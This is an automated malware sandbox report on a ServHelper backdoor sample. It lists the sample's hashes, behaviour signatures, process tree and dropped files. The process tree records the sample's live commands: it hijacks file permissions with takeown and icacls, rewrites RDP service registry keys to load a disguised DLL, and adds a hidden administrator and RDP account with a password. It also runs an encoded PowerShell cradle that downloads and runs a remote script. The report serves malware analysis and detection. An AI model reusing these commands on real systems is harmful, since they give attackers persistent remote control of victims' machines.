Analysis

  • max time kernel
    128s
  • max time network
    100s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    23-09-2021 11:03

General

  • Target

    f71c575754e1f5890ad8b35afd08b8be.exe

  • Size

    5.9MB

  • MD5

    f71c575754e1f5890ad8b35afd08b8be

  • SHA1

    69803b96f3820fabd81c79d422a1fa2a72ccb699

  • SHA256

    046f08e500cc9156c4af47a73744ccb060606c77d7a8beb5677aa6ff4d256211

  • SHA512

    32f7fab593c46efe2586825aff79688e4a688735bf950b351fe3bdffc4a9dff01da0b2d4a92acf4d4bd14aac362884bd264beced9e8b82fd3111e8ef8ef31301

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe
    "C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:576
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iyr5cs6d.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1496
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC2D2.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC2D1.tmp"
          4⤵
            PID:1236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1216
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:676
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1848
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:640
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1812
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1488
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:432
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1160
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1280
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1652
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1064
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1564
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1204
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1840
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1868
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1932
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1084
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:472
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:672
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1880
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1860
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:316
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:916
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:968
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1564
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1872
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:1496
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:536
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:936
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc QNv2lMZc /add
                                  1⤵
                                    PID:1944
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc QNv2lMZc /add
                                      2⤵
                                        PID:1160
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc QNv2lMZc /add
                                          3⤵
                                            PID:1664
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:1652
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:1564
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:1204
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                              1⤵
                                                PID:1592
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                  2⤵
                                                    PID:984
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                      3⤵
                                                        PID:1736
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:1080
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:1932
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:1600
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc QNv2lMZc
                                                          1⤵
                                                            PID:1796
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc QNv2lMZc
                                                              2⤵
                                                                PID:432
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc QNv2lMZc
                                                                  3⤵
                                                                    PID:1092
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1680
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1840
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:472
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1868
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:536
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:2024
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1084

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Temp\RESC2D2.tmp

                                                                        MD5

                                                                        b44299068ff8228889477b26969eb7d4

                                                                        SHA1

                                                                        06402bd0ac80f7a1d1690f67e4e9abe7a11372f0

                                                                        SHA256

                                                                        585e61b9f9c3972c065c48ac2d6edb09c196cef0861cea0516bfea119bd14d77

                                                                        SHA512

                                                                        3f6b1160c947317d16e497dac55aa0c6f5b5389e86e4588bf39279ce95ba9873bd1bcda8d57c228e837b328b09f9a4b70528753dbb7873618ba3c9c4ca80be29

                                                                      • C:\Users\Admin\AppData\Local\Temp\iyr5cs6d.dll

                                                                        MD5

                                                                        2918d10e3b013adb230bc11952e80ae5

                                                                        SHA1

                                                                        22b5626b26173cdc565b02544f288d60783b04b5

                                                                        SHA256

                                                                        1cb2bed3abf72903adfeb867b45104a8383a488e5692eefd2679f033cfeaa7a8

                                                                        SHA512

                                                                        c96e4c23e289efee569cb117520f1eff9fe10d212cf1030a58118347d2fb23237d3c0d3355e3b864ed8592c5feded494118bde0b988dbd97131c673150568c62

                                                                      • C:\Users\Admin\AppData\Local\Temp\iyr5cs6d.pdb

                                                                        MD5

                                                                        fe6d9579831d236f6cb6b357f6f486e3

                                                                        SHA1

                                                                        539ec4eff85fbab75bfe53e781902df955009810

                                                                        SHA256

                                                                        78d015191c8066a5381332e2da9d06c4f3a7958ceef2b91a8630f53a6592fddf

                                                                        SHA512

                                                                        f56ea084de81998ee04bffac70ea918a72d28064fed70d9d261a66662517d8768b30db2d53a19e884388d0e022f066cf6b72361a16c2730379e2ca5746c6df68

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        MD5

                                                                        3447df88de7128bdc34942334b2fab98

                                                                        SHA1

                                                                        519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                                        SHA256

                                                                        9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                                        SHA512

                                                                        2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                                      • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                                        MD5

                                                                        78fc438bc0a10f68012273374fc242de

                                                                        SHA1

                                                                        1c2f8f958b4cfb2d822a50f97c1b503d039108d4

                                                                        SHA256

                                                                        14249168e782173812af05b444b582847646a69623a3254b8a590ba00365b4e0

                                                                        SHA512

                                                                        97d287f9e1ac939505e3ff2b7d6854ae838dd4f0cc3699d157912dcbb116b709b30580baac4c4ce7a5384e28de841dd44f12006c4857bc6a72bc8758427f280e

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        73d5f129d48545e17502109d3691aa24

                                                                        SHA1

                                                                        11bf4b4216bc3991fd555269bd468ed6926e5252

                                                                        SHA256

                                                                        713002baba1a677b7215f5a9496dccc4d766b4e5cfc52df84587e4b84729d026

                                                                        SHA512

                                                                        6e14ad082e93677c59bdcfaa80d77ac296ed7063a72aa23440c1712f24c202d02f80dfd9a5cc7979708a9306ed397247f25da782bc047920e621b9197ed45206

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        73d5f129d48545e17502109d3691aa24

                                                                        SHA1

                                                                        11bf4b4216bc3991fd555269bd468ed6926e5252

                                                                        SHA256

                                                                        713002baba1a677b7215f5a9496dccc4d766b4e5cfc52df84587e4b84729d026

                                                                        SHA512

                                                                        6e14ad082e93677c59bdcfaa80d77ac296ed7063a72aa23440c1712f24c202d02f80dfd9a5cc7979708a9306ed397247f25da782bc047920e621b9197ed45206

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        73d5f129d48545e17502109d3691aa24

                                                                        SHA1

                                                                        11bf4b4216bc3991fd555269bd468ed6926e5252

                                                                        SHA256

                                                                        713002baba1a677b7215f5a9496dccc4d766b4e5cfc52df84587e4b84729d026

                                                                        SHA512

                                                                        6e14ad082e93677c59bdcfaa80d77ac296ed7063a72aa23440c1712f24c202d02f80dfd9a5cc7979708a9306ed397247f25da782bc047920e621b9197ed45206

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\srvsvc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\CSCC2D1.tmp

                                                                        MD5

                                                                        d938e995f9752ab7917847f614587aa7

                                                                        SHA1

                                                                        2e7aa2ba5326ccd393252b317b86f297ed4766aa

                                                                        SHA256

                                                                        7841407a353ef12953d6fed7323f9a7a0f2490014f943952e064af4b03c0bce9

                                                                        SHA512

                                                                        02f2da2ec601277708bf60a0dc5e361589a1ea8f35f9d1c86c3b74219723838b42ba32ce757a46fc32e34aadbce1155fb8e626ed04d04a11978340dab695e061

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\iyr5cs6d.0.cs

                                                                        MD5

                                                                        4864fc038c0b4d61f508d402317c6e9a

                                                                        SHA1

                                                                        72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                                        SHA256

                                                                        0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                                        SHA512

                                                                        9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\iyr5cs6d.cmdline

                                                                        MD5

                                                                        fc7c4018ee0c16651c3dc0ee939769f8

                                                                        SHA1

                                                                        a97cacf89e7bac1235de059328cea596aee2041d

                                                                        SHA256

                                                                        2e7d2a11d41ebeff1180f5a3f4c949b906a20c15d40fc0d502b5dedbed099674

                                                                        SHA512

                                                                        9a1b24b2c8c6684e0c31eb36fad5b0b023ec709878fddcb7a0164c6446293014c37b38200c6fa3f486b71128acdbb7c8b65d6ec298fbcb0e2c9e3fc68293b9b1

                                                                      • \Windows\Branding\mediasrv.png

                                                                        MD5

                                                                        07044622ac01aea214d75af177a9976f

                                                                        SHA1

                                                                        8647e016414d4ef1da52abcf889210f15c58a640

                                                                        SHA256

                                                                        e83dc368abf546e72a528509e3d2fd8e83153f783832abcef014cddb9da002e9

                                                                        SHA512

                                                                        21b30facf460b9c93d32e1a54d6e5e2578f49c782eb3325268f83ad9beb14dd2c06b9b8337161099a69c1ad082583fdf94d20c7c4e2c91063e6bc0e6c9664324

                                                                      • \Windows\Branding\mediasvc.png

                                                                        MD5

                                                                        7c2b6a91963747383e5cdb168539962c

                                                                        SHA1

                                                                        cd987c6f69702bf0369b4c49c898052fae21d513

                                                                        SHA256

                                                                        fc3c17833725d727590ef00fdf3f8d70f52d4c13a9cf52a77b6e74e22d7dae61

                                                                        SHA512

                                                                        8a952e2e7ac644cb73bc35f1d099f8c9590027f5e5f89771131025ce878c000fec1aeaf708113889e1044094ebbc311ee46f945cca6946860705edac4eec8141

                                                                      • memory/316-124-0x0000000000000000-mapping.dmp

                                                                      • memory/432-142-0x0000000000000000-mapping.dmp

                                                                      • memory/432-109-0x0000000000000000-mapping.dmp

                                                                      • memory/472-120-0x0000000000000000-mapping.dmp

                                                                      • memory/536-129-0x0000000000000000-mapping.dmp

                                                                      • memory/576-77-0x000000000251D000-0x000000000251E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/576-62-0x00000000024F0000-0x00000000024F2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/576-60-0x000007FEFBA11000-0x000007FEFBA13000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/576-63-0x00000000024F2000-0x00000000024F4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/576-67-0x00000000024FB000-0x000000000251A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/576-64-0x00000000024F4000-0x00000000024F7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/576-59-0x0000000000000000-mapping.dmp

                                                                      • memory/576-61-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/640-105-0x0000000000000000-mapping.dmp

                                                                      • memory/672-121-0x0000000000000000-mapping.dmp

                                                                      • memory/676-87-0x0000000000000000-mapping.dmp

                                                                      • memory/676-90-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/676-94-0x0000000002914000-0x0000000002917000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/676-92-0x0000000002910000-0x0000000002912000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/676-96-0x000000001B840000-0x000000001BB3F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/676-100-0x000000000291C000-0x000000000293B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/676-95-0x0000000002917000-0x0000000002918000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/676-93-0x0000000002912000-0x0000000002914000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/916-125-0x0000000000000000-mapping.dmp

                                                                      • memory/936-130-0x0000000000000000-mapping.dmp

                                                                      • memory/968-126-0x0000000000000000-mapping.dmp

                                                                      • memory/984-137-0x0000000000000000-mapping.dmp

                                                                      • memory/1064-113-0x0000000000000000-mapping.dmp

                                                                      • memory/1084-151-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1084-148-0x0000000000000000-mapping.dmp

                                                                      • memory/1084-119-0x0000000000000000-mapping.dmp

                                                                      • memory/1092-143-0x0000000000000000-mapping.dmp

                                                                      • memory/1160-131-0x0000000000000000-mapping.dmp

                                                                      • memory/1160-110-0x0000000000000000-mapping.dmp

                                                                      • memory/1204-134-0x0000000000000000-mapping.dmp

                                                                      • memory/1204-115-0x0000000000000000-mapping.dmp

                                                                      • memory/1216-82-0x0000000002030000-0x0000000002032000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1216-91-0x000000000203C000-0x000000000205B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1216-83-0x0000000002032000-0x0000000002034000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1216-78-0x0000000000000000-mapping.dmp

                                                                      • memory/1216-85-0x000000001B930000-0x000000001BC2F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1216-81-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1216-84-0x0000000002034000-0x0000000002037000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1216-86-0x0000000002037000-0x0000000002038000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1236-70-0x0000000000000000-mapping.dmp

                                                                      • memory/1280-111-0x0000000000000000-mapping.dmp

                                                                      • memory/1488-108-0x0000000000000000-mapping.dmp

                                                                      • memory/1496-66-0x0000000000000000-mapping.dmp

                                                                      • memory/1496-76-0x0000000002290000-0x0000000002292000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1544-57-0x00000000411C6000-0x00000000411C7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1544-55-0x00000000411C2000-0x00000000411C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1544-56-0x00000000411C4000-0x00000000411C6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1544-53-0x0000000041660000-0x0000000041A80000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1544-58-0x00000000411C7000-0x00000000411C8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1564-114-0x0000000000000000-mapping.dmp

                                                                      • memory/1564-133-0x0000000000000000-mapping.dmp

                                                                      • memory/1564-152-0x0000000000000000-mapping.dmp

                                                                      • memory/1600-140-0x0000000000000000-mapping.dmp

                                                                      • memory/1652-112-0x0000000000000000-mapping.dmp

                                                                      • memory/1664-132-0x0000000000000000-mapping.dmp

                                                                      • memory/1736-138-0x0000000000000000-mapping.dmp

                                                                      • memory/1812-107-0x0000000000000000-mapping.dmp

                                                                      • memory/1840-145-0x0000000000000000-mapping.dmp

                                                                      • memory/1840-116-0x0000000000000000-mapping.dmp

                                                                      • memory/1848-102-0x0000000002730000-0x0000000002732000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1848-104-0x000000001B970000-0x000000001BC6F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

